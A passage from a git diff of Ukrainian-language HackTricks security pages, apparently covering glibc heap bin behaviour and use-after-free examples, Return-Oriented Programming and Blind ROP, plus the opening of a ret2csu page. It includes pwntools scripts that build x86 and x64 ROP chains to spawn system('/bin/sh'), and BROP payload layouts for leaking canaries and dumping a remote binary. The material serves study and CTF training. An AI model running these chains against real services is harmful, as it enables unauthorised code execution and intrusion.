|
||||
Коли ви вивільняєте фрагмент пам'яті, який не є швидким фрагментом, він потрапляє до неупорядкованого біна. Цей бін діє як список, куди нові вивільнені фрагменти додаються до передньої частини («голови»). Коли ви запитуєте новий фрагмент пам'яті, алокатор дивиться на неупорядкований бін з кінця («хвоста»), щоб знайти фрагмент, який достатньо великий. Якщо фрагмент з неупорядкованого біна більший, ніж вам потрібно, він розбивається, з передньою частиною, яка повертається, а решта залишається в біні.
|
||||
|
||||
Приклад:
|
||||
|
||||
* Ви виділяєте 300 байтів (`a`), потім 250 байтів (`b`), вивільняєте `a` і знову запитуєте 250 байтів (`c`).
|
||||
* Коли ви вивільняєте `a`, він потрапляє до неупорядкованого біна.
|
||||
* Якщо потім ви знову запитуєте 250 байтів, алокатор знаходить `a` на хвості і розбиває його, повертаючи частину, яка відповідає вашому запиту, і залишаючи решту в біні.
|
||||
* `c` буде посилатися на попередній `a` і заповнений `a`.
|
||||
```c
|
||||
char *a = malloc(300);
|
||||
char *b = malloc(250);
|
||||
free(a);
|
||||
char *c = malloc(250);
|
||||
```
|
||||
### Fastbins
|
||||
|
||||
Fastbins використовуються для невеликих фрагментів пам'яті. На відміну від несортованих блоків, fastbins додають нові фрагменти в голову, створюючи поведінку "останнім прийшов - першим вийшов" (LIFO). Якщо ви запитуєте невеликий фрагмент пам'яті, алокатор витягне його з голови fastbin.
|
||||
|
||||
Приклад:
|
||||
|
||||
* Ви виділяєте чотири фрагменти по 20 байт кожен (`a`, `b`, `c`, `d`).
|
||||
* Коли ви вивільняєте їх у будь-якому порядку, вивільнені фрагменти додаються до голови fastbin.
|
||||
* Якщо ви потім запитуєте фрагмент 20 байт, алокатор поверне найбільш недавно вивільнений фрагмент з голови fastbin.
|
||||
```c
|
||||
char *a = malloc(20);
|
||||
char *b = malloc(20);
|
||||
char *c = malloc(20);
|
||||
char *d = malloc(20);
|
||||
free(a);
|
||||
free(b);
|
||||
free(c);
|
||||
free(d);
|
||||
a = malloc(20); // d
|
||||
b = malloc(20); // c
|
||||
c = malloc(20); // b
|
||||
d = malloc(20); // a
|
||||
```
|
||||
## Інші посилання та Приклади
|
||||
|
||||
* [**https://heap-exploitation.dhavalkapil.com/attacks/first\_fit**](https://heap-exploitation.dhavalkapil.com/attacks/first\_fit)
|
||||
* [**https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/**](https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/)
|
||||
* ARM64. Використання після вивільнення: Створення об'єкту користувача, вивільнення його, створення об'єкту, який отримує вивільнений чанк і дозволяє записувати в нього, **перезаписуючи позицію пароля користувача** з попереднього. Повторне використання користувача для **обхід перевірки пароля**
|
||||
* [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use\_after\_free/#example**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use\_after\_free/#example)
|
||||
* Програма дозволяє створювати нотатки. Нотатка матиме інформацію про нотатку в malloc(8) (з посиланням на функцію, яку можна викликати) та посилання на інший malloc(\<size>) з вмістом нотатки.
|
||||
* Атака полягатиме в створенні 2 нотаток (note0 та note1) з більшим вмістом malloc, ніж розмір інформації про нотатку, а потім вивільнення їх, щоб вони потрапили в швидкий бін (або tcache).
|
||||
* Потім створіть іншу нотатку (note2) з розміром вмісту 8. Вміст буде в нотатці 1, оскільки чанк буде повторно використаний, де ми можемо змінити вказівник на функцію, щоб вказував на функцію перемоги, а потім використовувати після вивільнення note1, щоб викликати новий вказівник на функцію.
|
||||
* [**https://guyinatuxedo.github.io/26-heap\_grooming/pico\_areyouroot/index.html**](https://guyinatuxedo.github.io/26-heap\_grooming/pico\_areyouroot/index.html)
|
||||
* Можливо виділити пам'ять, записати потрібне значення, вивільнити її, повторно виділити, і оскільки попередні дані все ще там, вони будуть оброблені відповідно до нової очікуваної структури в чанку, що дозволяє встановити значення або отримати прапорець.
|
||||
* [**https://guyinatuxedo.github.io/26-heap\_grooming/swamp19\_heapgolf/index.html**](https://guyinatuxedo.github.io/26-heap\_grooming/swamp19\_heapgolf/index.html)
|
||||
* У цьому випадку потрібно записати 4 всередині конкретного чанку, який є першим, що виділяється (навіть після примусового вивільнення всіх них). При кожному новому виділеному чанку його номер у масиві зберігається. Потім виділіть 4 чанки (+ початково виділений), останній матиме всередині себе 4, вивільніть їх і примусово виділіть знову перший, який використає останній вивільнений чанк, який має всередині себе 4.
|
218
binary-exploitation/rop-return-oriented-programing/README.md
Normal file
218
binary-exploitation/rop-return-oriented-programing/README.md
Normal file
|
@ -0,0 +1,218 @@
|
|||
# ROP - Return Oriented Programing
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте взлом AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте взлом GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **Основна інформація**
|
||||
|
||||
**Return-Oriented Programming (ROP)** - це високорівнева техніка експлуатації, яка використовується для обходу заходів безпеки, таких як **No-Execute (NX)** або **Data Execution Prevention (DEP)**. Замість впровадження та виконання shellcode, зловмисник використовує шматки коду, вже присутні у бінарному файлі або завантажених бібліотеках, відомі як **"гаджети"**. Кожен гаджет зазвичай закінчується інструкцією `ret` та виконує невелику операцію, таку як переміщення даних між регістрами або виконання арифметичних операцій. З'єднавши ці гаджети, зловмисник може скласти навантаження для виконання довільних операцій, ефективно обходячи захист NX/DEP.
|
||||
|
||||
### Як працює ROP
|
||||
|
||||
1. **Перехоплення потоку управління**: Спочатку зловмисник повинен перехопити потік управління програми, зазвичай використовуючи переповнення буфера для перезапису збереженого адреси повернення на стеку.
|
||||
2. **Ланцюжок гаджетів**: Потім зловмисник уважно вибирає та з'єднує гаджети для виконання потрібних дій. Це може включати підготовку аргументів для виклику функції, виклик функції (наприклад, `system("/bin/sh")`) та обробку будь-яких необхідних завершальних або додаткових операцій.
|
||||
3. **Виконання навантаження**: Коли уразлива функція повертається, замість повернення до законного місця, вона починає виконувати ланцюжок гаджетів.
|
||||
|
||||
### Інструменти
|
||||
|
||||
Зазвичай гаджети можна знайти за допомогою [**ROPgadget**](https://github.com/JonathanSalwan/ROPgadget), [**ropper**](https://github.com/sashs/Ropper) або безпосередньо з **pwntools** ([ROP](https://docs.pwntools.com/en/stable/rop/rop.html)).
|
||||
|
||||
## Приклад ланцюжка ROP в x86
|
||||
|
||||
### **Конвенції виклику для x86 (32-біт)**
|
||||
|
||||
* **cdecl**: Викликач очищає стек. Аргументи функції додаються на стек у зворотньому порядку (справа наліво). **Аргументи додаються на стек зправа наліво.**
|
||||
* **stdcall**: Схоже на cdecl, але викликаний об'єкт відповідає за очищення стеку.
|
||||
|
||||
### **Пошук гаджетів**
|
||||
|
||||
Спочатку припустимо, що ми ідентифікували необхідні гаджети у бінарному файлі або його завантажених бібліотеках. Гаджети, які нас цікавлять:
|
||||
|
||||
* `pop eax; ret`: Цей гаджет видаляє верхнє значення зі стеку в регістр `EAX` та повертається, дозволяючи нам контролювати `EAX`.
|
||||
* `pop ebx; ret`: Схожий на попередній, але для регістру `EBX`, що дозволяє контролювати `EBX`.
|
||||
* `mov [ebx], eax; ret`: Переміщує значення з `EAX` до пам'яті, на яку вказує `EBX`, та повертається. Це часто називається **гаджетом write-what-where**.
|
||||
* Крім того, ми маємо адресу функції `system()`.
|
||||
|
||||
### **Ланцюжок ROP**
|
||||
|
||||
За допомогою **pwntools** ми підготовлюємо стек для виконання ланцюжка ROP наступним чином з метою виконання `system('/bin/sh')`, зверніть увагу, як починається ланцюжок:
|
||||
|
||||
1. Інструкція `ret` для вирівнювання (необов'язково)
|
||||
2. Адреса функції `system` (припускаючи вимкнене ASLR та відому libc, додаткова інформація в [**Ret2lib**](ret2lib/))
|
||||
3. Заповнювач для адреси повернення від `system()`
|
||||
4. Адреса рядка `"/bin/sh"` (параметр для функції system)
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
# Assuming we have the binary's ELF and its process
|
||||
binary = context.binary = ELF('your_binary_here')
|
||||
p = process(binary.path)
|
||||
|
||||
# Find the address of the string "/bin/sh" in the binary
|
||||
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))
|
||||
|
||||
# Address of system() function (hypothetical value)
|
||||
system_addr = 0xdeadc0de
|
||||
|
||||
# A gadget to control the return address, typically found through analysis
|
||||
ret_gadget = 0xcafebabe # This could be any gadget that allows us to control the return address
|
||||
|
||||
# Construct the ROP chain
|
||||
rop_chain = [
|
||||
ret_gadget, # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
|
||||
system_addr, # Address of system(). Execution will continue here after the ret gadget
|
||||
0x41414141, # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
|
||||
bin_sh_addr # Address of "/bin/sh" string goes here, as the argument to system()
|
||||
]
|
||||
|
||||
# Flatten the rop_chain for use
|
||||
rop_chain = b''.join(p32(addr) for addr in rop_chain)
|
||||
|
||||
# Send ROP chain
|
||||
## offset is the number of bytes required to reach the return address on the stack
|
||||
payload = fit({offset: rop_chain})
|
||||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
## Ланцюжок ROP у прикладі x64
|
||||
|
||||
### **Викликові конвенції x64 (64-бітні)**
|
||||
|
||||
* Використовує конвенцію виклику **System V AMD64 ABI** на системах подібних до Unix, де **перші шість цілих або вказівникових аргументів передаються в регістри `RDI`, `RSI`, `RDX`, `RCX`, `R8` та `R9`**. Додаткові аргументи передаються через стек. Результат повертається в `RAX`.
|
||||
* Викликова конвенція **Windows x64** використовує `RCX`, `RDX`, `R8` та `R9` для перших чотирьох цілих або вказівникових аргументів, з додатковими аргументами, що передаються через стек. Результат повертається в `RAX`.
|
||||
* **Регістри**: 64-бітні регістри включають `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP`, та `R8` до `R15`.
|
||||
|
||||
#### **Пошук Гаджетів**
|
||||
|
||||
Для наших цілей давайте зосередимося на гаджетах, які дозволять нам встановити регістр **RDI** (щоб передати рядок **"/bin/sh"** як аргумент до **system()**) і потім викликати функцію **system()**. Ми припустимо, що ми ідентифікували наступні гаджети:
|
||||
|
||||
* **pop rdi; ret**: Викидає верхнє значення стеку в **RDI** і потім повертається. Істотний для встановлення нашого аргументу для **system()**.
|
||||
* **ret**: Простий повернення, корисний для вирівнювання стеку в деяких сценаріях.
|
||||
|
||||
І ми знаємо адресу функції **system()**.
|
||||
|
||||
### **Ланцюжок ROP**
|
||||
|
||||
Нижче наведено приклад використання **pwntools** для налаштування та виконання ланцюжка ROP з метою виконання **system('/bin/sh')** на **x64**:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
# Assuming we have the binary's ELF and its process
|
||||
binary = context.binary = ELF('your_binary_here')
|
||||
p = process(binary.path)
|
||||
|
||||
# Find the address of the string "/bin/sh" in the binary
|
||||
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))
|
||||
|
||||
# Address of system() function (hypothetical value)
|
||||
system_addr = 0xdeadbeefdeadbeef
|
||||
|
||||
# Gadgets (hypothetical values)
|
||||
pop_rdi_gadget = 0xcafebabecafebabe # pop rdi; ret
|
||||
ret_gadget = 0xdeadbeefdeadbead # ret gadget for alignment, if necessary
|
||||
|
||||
# Construct the ROP chain
|
||||
rop_chain = [
|
||||
ret_gadget, # Alignment gadget, if needed
|
||||
pop_rdi_gadget, # pop rdi; ret
|
||||
bin_sh_addr, # Address of "/bin/sh" string goes here, as the argument to system()
|
||||
system_addr # Address of system(). Execution will continue here.
|
||||
]
|
||||
|
||||
# Flatten the rop_chain for use
|
||||
rop_chain = b''.join(p64(addr) for addr in rop_chain)
|
||||
|
||||
# Send ROP chain
|
||||
## offset is the number of bytes required to reach the return address on the stack
|
||||
payload = fit({offset: rop_chain})
|
||||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
У цьому прикладі:
|
||||
|
||||
* Ми використовуємо гаджет **`pop rdi; ret`** для встановлення **`RDI`** на адресу **`"/bin/sh"`**.
|
||||
* Ми безпосередньо переходимо до **`system()`** після встановлення **`RDI`**, з адресою **system()** в ланцюжку.
|
||||
* **`ret_gadget`** використовується для вирівнювання, якщо це потрібно в цільовому середовищі, що є більш поширеним у **x64**, щоб забезпечити належне вирівнювання стеку перед викликом функцій.
|
||||
|
||||
### Вирівнювання стеку
|
||||
|
||||
**ABI x86-64** забезпечує, що **стек вирівнюється на 16 байтів**, коли виконується інструкція **виклику**. **LIBC**, для оптимізації продуктивності, **використовує інструкції SSE** (наприклад **movaps**), які вимагають цього вирівнювання. Якщо стек не вирівняний належним чином (означає, що **RSP** не є кратним 16), виклики функцій, таких як **system**, не вдасться в **ROP ланцюжку**. Щоб виправити це, просто додайте **ret гаджет** перед викликом **system** у вашому ROP ланцюжку.
|
||||
|
||||
## Відмінність між x86 та x64
|
||||
|
||||
{% hint style="success" %}
|
||||
Оскільки **x64 використовує регістри для перших кількох аргументів**, часто потрібно менше гаджетів, ніж у x86 для простих викликів функцій, але пошук та ланцюження правильних гаджетів може бути складнішим через збільшену кількість регістрів та більший адресний простір. Збільшена кількість регістрів та більший адресний простір у **x64** архітектурі надають як можливості, так і виклики для розвитку експлойтів, особливо в контексті Return-Oriented Programming (ROP).
|
||||
{% endhint %}
|
||||
|
||||
## ROP ланцюжок у прикладі ARM64
|
||||
|
||||
### **Основи ARM64 та конвенції виклику**
|
||||
|
||||
Перевірте наступну сторінку для цієї інформації:
|
||||
|
||||
{% content-ref url="../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %}
|
||||
[arm64-basic-assembly.md](../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Захист від ROP
|
||||
|
||||
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/): Ці захисти ускладнюють використання ROP, оскільки адреси гаджетів змінюються між виконанням.
|
||||
* [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/): У випадку переповнення буфера, потрібно обійти захист стекового канарейки, щоб переписати вказівники повернення для зловживання ROP ланцюжком.
|
||||
* **Відсутність гаджетів**: Якщо гаджетів недостатньо, не буде можливо створити ROP ланцюжок.
|
||||
|
||||
## Техніки на основі ROP
|
||||
|
||||
Зверніть увагу, що ROP - це лише техніка для виконання довільного коду. На основі ROP було розроблено багато технік Ret2XXX:
|
||||
|
||||
* **Ret2lib**: Використовуйте ROP для виклику довільних функцій з завантаженої бібліотеки з довільними параметрами (зазвичай щось на зразок `system('/bin/sh')`.
|
||||
|
||||
{% content-ref url="ret2lib/" %}
|
||||
[ret2lib](ret2lib/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
* **Ret2Syscall**: Використовуйте ROP для підготовки виклику системного виклику, наприклад `execve`, та виконання довільних команд.
|
||||
|
||||
{% content-ref url="rop-syscall-execv/" %}
|
||||
[rop-syscall-execv](rop-syscall-execv/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
* **EBP2Ret & EBP Chaining**: Перше буде використовувати EBP замість EIP для контролю потоку, а друге схоже на Ret2lib, але в цьому випадку потік контролюється в основному адресами EBP (хоча також потрібно контролювати EIP).
|
||||
|
||||
{% content-ref url="../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md" %}
|
||||
[stack-pivoting-ebp2ret-ebp-chaining.md](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Інші Приклади та Посилання
|
||||
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions)
|
||||
* [https://guyinatuxedo.github.io/15-partial\_overwrite/hacklu15\_stackstuff/index.html](https://guyinatuxedo.github.io/15-partial\_overwrite/hacklu15\_stackstuff/index.html)
|
||||
* 64 біти, Pie та nx увімкнено, немає канарейки, перезаписати RIP з адресою `vsyscall` з єдиним метою або повернутися до наступної адреси в стеку, яка буде частковим перезаписом адреси для отримання частини функції, яка витікає прапорець
|
||||
* [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
|
||||
* arm64, без ASLR, ROP гаджет для зроблення стеку виконавчим та переходу до shellcode в стеці
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте взлом AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте взлом GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поділіться хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github репозиторіїв.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
|
@ -0,0 +1,135 @@
|
|||
# BROP - Сліпе орієнтоване програмування
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте хакінг AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Школа хакінгу HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Школа хакінгу HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакінг-прийоми, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Основна інформація
|
||||
|
||||
Метою цього нападу є **зловживання ROP через переповнення буфера без будь-якої інформації про вразливий бінарний файл**.\
|
||||
Цей напад базується на такому сценарії:
|
||||
|
||||
* Вразливість стеку та знання того, як її спровокувати.
|
||||
* Серверний додаток, який перезапускається після аварії.
|
||||
|
||||
## Напад
|
||||
|
||||
### **1. Знайдіть вразливий зсув** відправляючи ще один символ до виявлення несправності сервера
|
||||
|
||||
### **2. Брутфорс канарейку** для витоку її 
|
||||
|
||||
### **3. Брутфорс збережені RBP та RIP** адреси в стеці для витоку їх
|
||||
|
||||
Більше інформації про ці процеси можна знайти [тут (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) та [тут (BF Addresses in the Stack)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md).
|
||||
|
||||
### **4. Знайдіть гаджет зупинки**
|
||||
|
||||
Цей гаджет в основному дозволяє підтвердити, що щось цікаве було виконано гаджетом ROP, оскільки виконання не призвело до аварії. Зазвичай цей гаджет буде щось, що **зупиняє виконання** і розташований в кінці ланцюжка ROP при пошуку гаджетів ROP для підтвердження виконання певного гаджета ROP.
|
||||
|
||||
### **5. Знайдіть гаджет BROP**
|
||||
|
||||
Ця техніка використовує гаджет [**ret2csu**](ret2csu.md). Це тому, що якщо ви отримуєте доступ до цього гаджету посеред деяких інструкцій, ви отримуєте гаджети для керування **`rsi`** та **`rdi`**:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
|
||||
Це будуть гаджети:
|
||||
|
||||
* `pop rsi; pop r15; ret`
|
||||
* `pop rdi; ret`
|
||||
|
||||
Зверніть увагу, що за допомогою цих гаджетів можливо **керувати 2 аргументами** функції для виклику.
|
||||
|
||||
Також зверніть увагу, що гаджет ret2csu має **дуже унікальний підпис**, оскільки він буде видаляти 6 регістрів зі стеку. Таким чином, відправляючи ланцюжок наступного вигляду:
|
||||
|
||||
`'A' * зсув + канарейка + rbp + ADDR + 0xdead * 6 + STOP`
|
||||
|
||||
Якщо **STOP виконується**, це в основному означає, що було використано адресу, яка видає 6 регістрів зі стеку. Або що використана адреса також є адресою STOP.
|
||||
|
||||
Для **вилучення цієї останньої опції** виконується новий ланцюжок наступного вигляду, який не повинен виконувати гаджет STOP, щоб підтвердити, що попередній видає 6 регістрів:
|
||||
|
||||
`'A' * зсув + канарейка + rbp + ADDR`
|
||||
|
||||
Знаючи адресу гаджета ret2csu, можливо **визначити адресу гаджетів для керування `rsi` та `rdi`**.
|
||||
|
||||
### 6. Знайдіть PLT
|
||||
|
||||
Таблицю PLT можна шукати з 0x400000 або з **витоку RIP адреси** зі стеку (якщо використовується **PIE**). **Записи** таблиці **розділені на 16B** (0x10B), і коли викликається одна функція, сервер не аваріюється навіть якщо аргументи не вірні. Також перевірка адреси запису в **PLT + 6B також не призводить до аварії**, оскільки це перший виконуваний код.
|
||||
|
||||
Отже, можливо знайти таблицю PLT, перевіряючи наступні поведінки:
|
||||
|
||||
* `'A' * зсув + канарейка + rbp + ADDR + STOP` -> без аварії
|
||||
* `'A' * зсув + канарейка + rbp + (ADDR + 0x6) + STOP` -> без аварії
|
||||
* `'A' * зсув + канарейка + rbp + (ADDR + 0x10) + STOP` -> без аварії
|
||||
|
||||
### 7. Пошук strcmp
|
||||
|
||||
Функція **`strcmp`** встановлює регістр **`rdx`** на довжину порівнюваного рядка. Зверніть увагу, що **`rdx`** є **третім аргументом**, і нам потрібно, щоб він був **більшим за 0**, щоб пізніше використовувати `write` для витоку програми.
|
||||
|
||||
Можливо знайти місце **`strcmp`** в таблиці PLT на основі його поведінки, використовуючи той факт, що тепер ми можемо керувати першими 2 аргументами функцій:
|
||||
|
||||
* strcmp(\<непрочитана адреса>, \<непрочитана адреса>) -> аварія
|
||||
* strcmp(\<непрочитана адреса>, \<прочитана адреса>) -> аварія
|
||||
* strcmp(\<прочитана адреса>, \<непрочитана адреса>) -> аварія
|
||||
* strcmp(\<прочитана адреса>, \<прочитана адреса>) -> без аварії
|
||||
|
||||
Це можна перевірити, викликавши кожний запис таблиці PLT або використовуючи **повільний шлях PLT**, який в основному полягає в **виклику запису в таблиці PLT + 0xb** (який викликає **`dlresolve`**) за яким на стеці слідує **номер запису, який бажається просканувати** (починаючи з нуля), щоб просканувати всі записи PLT з першого:
|
||||
|
||||
* strcmp(\<непрочитана адреса>, \<прочитана адреса>) -> аварія
|
||||
* `b'A' * зсув + канарейка + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Завершиться аварією
|
||||
* strcmp(\<прочитана адреса>, \<непрочитана адреса>) -> аварія
|
||||
* `b'A' * зсув + канарейка + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` 
|
||||
* strcmp(\<прочитана адреса>, \<прочитана адреса>) -> без аварії
|
||||
* `b'A' * зсув + канарейка + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` 
|
||||
|
||||
Пам'ятайте, що:
|
||||
|
||||
* BROP + 0x7 вказує на **`pop RSI; pop R15; ret;`**
|
||||
* BROP + 0x9 вказує на **`pop RDI; ret;`**
|
||||
* PLT + 0xb вказує на виклик **dl\_resolve**.
|
||||
|
||||
Знайшовши `strcmp`, можливо встановити **`rdx`** на значення більше 0.
|
||||
|
||||
{% hint style="success" %}
|
||||
Зауважте, що зазвичай `rdx` вже міститиме значення більше 0, тому цей крок може бути зайвим.
|
||||
{% endhint %}
|
||||
### 8. Пошук Write або еквіваленту
|
||||
|
||||
Наостанок, потрібен гаджет, який ексфільтрує дані для ексфільтрації бінарного файлу. І на цей момент можливо **контролювати 2 аргументи та встановити `rdx` більше 0.**
|
||||
|
||||
Існують 3 загальні функції, які можна зловживати для цього:
|
||||
|
||||
* `puts(data)`
|
||||
* `dprintf(fd, data)`
|
||||
* `write(fd, data, len(data)`
|
||||
|
||||
Однак, в оригінальній статті згадується лише **`write`**, тому давайте про нього:
|
||||
|
||||
Поточна проблема полягає в тому, що ми не знаємо **де знаходиться функція write в PLT** і не знаємо **номер fd для відправлення даних нашому сокету**.
|
||||
|
||||
Проте, ми знаємо **де знаходиться таблиця PLT** і можемо знайти write на основі його **поведінки**. І ми можемо створити **кілька з'єднань** з сервером та використовувати **високий FD**, сподіваючись, що він відповідає деяким з наших з'єднань.
|
||||
|
||||
Підписи поведінки для пошуку цих функцій:
|
||||
|
||||
* `'A' * зміщення + канарейка + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Якщо дані виведені, то було знайдено puts
|
||||
* `'A' * зміщення + канарейка + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Якщо дані виведені, то було знайдено dprintf
|
||||
* `'A' * зміщення + канарейка + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Якщо дані виведені, то було знайдено write
|
||||
|
||||
## Автоматизована експлуатація
|
||||
|
||||
* [https://github.com/Hakumarachi/Bropper](https://github.com/Hakumarachi/Bropper)
|
||||
|
||||
## Посилання
|
||||
|
||||
* Оригінальна стаття: [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)
|
||||
* [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop)
|
184
binary-exploitation/rop-return-oriented-programing/ret2csu.md
Normal file
184
binary-exploitation/rop-return-oriented-programing/ret2csu.md
Normal file
|
@ -0,0 +1,184 @@
|
|||
# Ret2csu
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте взлом AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте взлом GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
